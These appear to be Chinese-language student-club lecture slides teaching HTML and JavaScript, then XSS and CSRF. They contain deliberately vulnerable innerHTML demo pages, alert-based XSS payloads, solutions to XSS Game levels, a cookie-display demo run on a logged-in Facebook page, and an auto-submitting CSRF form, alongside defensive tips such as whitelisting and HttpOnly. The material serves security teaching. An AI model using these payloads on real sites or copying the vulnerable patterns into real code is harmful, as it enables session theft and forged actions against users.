Du
輔大資工二乙
111屆 儲備副會長
HTML、Javascript(我知道上禮拜有講過)
XSS
XSS Game(開心的實作時間)
CSRF
<!DOCTYPE html>
<html>
<head>
<title>This is a title</title>
</head>
<body>
<p>Hello World!</p>
<!-- This is a comment -->
</body>
</html>
<!DOCTYPE html>
讓瀏覽器以HTML5渲染
console.log()
alert()
單行註解以 // 開頭
多行註解以 /* 開頭,以 */ 結尾
document.getElementById("id-name");
document.getElementByClassName("class-name");
document.getElementByTagName("tag-name");
var test = document.getElementById("id-name");
// 用 test 去接物件
test.innerText = "I've been changed"
// 最常使用,獲取或設置元素內的文字
test.innerHTML
// 獲取或設置元素包含的 HTML 標籤
另存新檔 (Ctrl + Shift + s )
沒有檢查資料使得操作 DOM 的過程代入了惡意語句
前端小心使用.html() 或是 .innerHTML()
所以我說要怎麼xss
<!DOCTYPE html>
<html>
<head>
<title>Hello XSS!</title>
</head>
<body>
<input type = 'text' id = "Input">
<button id="Button">Save</button>
<div>
Hello, <span id = "Output"></span>
</div>
<script src="XSS1.js"></script>
</body>
</html>
var Input = document.getElementById('Input');
var Button = document.getElementById('Button');
var Out = document.getElementById('Output');
Button.addEventListener('click', function(){
Out.innerHTML = Input.value;
})
html (XSS1.html)
js
(XSS1.js)
你可以先嘗試輸入
上周有講到的on事件(Javascript語法)
<h1>XSS</h1>
onclick | 當滑鼠點擊時 |
---|---|
onerror | 當出現error時(載入失敗) |
onload | 當載入成功時 |
輸入
還有其他解法,歡迎分享
<img src="" onerror="alert()">
<html>
<head>
<title>Hello XSS!</title>
</head>
<body>
<div id="goto"></div>
<input type="text" id="Link" value="" />
<input type="button" value="Go" onclick="gotoLink()" />
<script src="XSS2.js"></script>
</body>
</html>
function gotoLink() {
var str = document.getElementById("Link").value;
document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>";
}
html (XSS2.html)
js
(XSS2.js)
輸入
還有嗎...???
' onclick='alert(1)
原本:
document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>";
str = ' onclick='alert(1):
document.getElementById("goto").innerHTML = <a href='' onclick='alert(1)' >chick</a>;
輸入
神奇的執行javascript語法
javascript:alert();
alert(document.cookie)
到FB首頁
按下F12
登入FB
在console貼上這串code
彈出cookies
User
點開網址、輸入帳密前三思
Developer
Whitelist
HttpOnly
不要相信使用者!!!
先隨便輸入<h1>Test<h1>?
<!DOCTYPE html>
<html>
<head>
<style>
body {
background-color: #ffffff;
}
</style>
<script src="/static/js/js_frame.js"></script>
</head>
<body>
<center>
<img src="/static/img/foogle.png">
<br><br>
Sorry, no results were found for <b><h1>Test</h1></b>.
<a href="?">Try again</a>.
<br>
</center>
</body>
</html>
其他解法???
<script>alert(1);</script>
原本:
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('3');" />
timer = '1');alert(1);//'
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('1');alert(1);//');" />
1');alert(1);//
<div class="tab" id="tab3" onclick="chooseTab('3')">Cat 3</div>
function chooseTab(name) {
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";
document.getElementById('tabContent').innerHTML = html;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(name)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
window.location.hash = name;
// Tell parent we've changed the tab
top.postMessage({'url': self.location.toString()}, "*");
}
URL :1.jpg' onload='alert(1)'/>
帶入code : <img src='/static/img/cat1.jpg' onload='alert(1)'/>.jpg'/>
其他解法???
到了confirm?next=welcome的頁面
window.loction的後面好像可以傳URL
還記得可以怎麼alert嗎?
confirm?next=javascript:alert(1)
<!DOCTYPE html>
<html>
<head>
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = 'javascript:alert()'; }, 1000);
</script>
<p><b>Level solved!</b> Click <a id="next_level" href="/JFTG_t7t3N-P" target="_top">here</a> to access the next level.</p>
</center>
</body>
</html>
<a href="https://example.com/delete?id=3">刪除</a>
刪除
<a href="https://example.com/delete?id=3">開始測驗</a>
開始測驗
<form action="https://example.com/delete" method="POST">
<input type="text" name="id" value="3">
<input type="submit" value="開始測驗">
</form>
<form id="csrf" action="https://example.com/delete" method="POST">
<input type="text" name="id" value="3">
<input type="submit" value="開始測驗">
</form>
<script>
csrf.submit();
</script>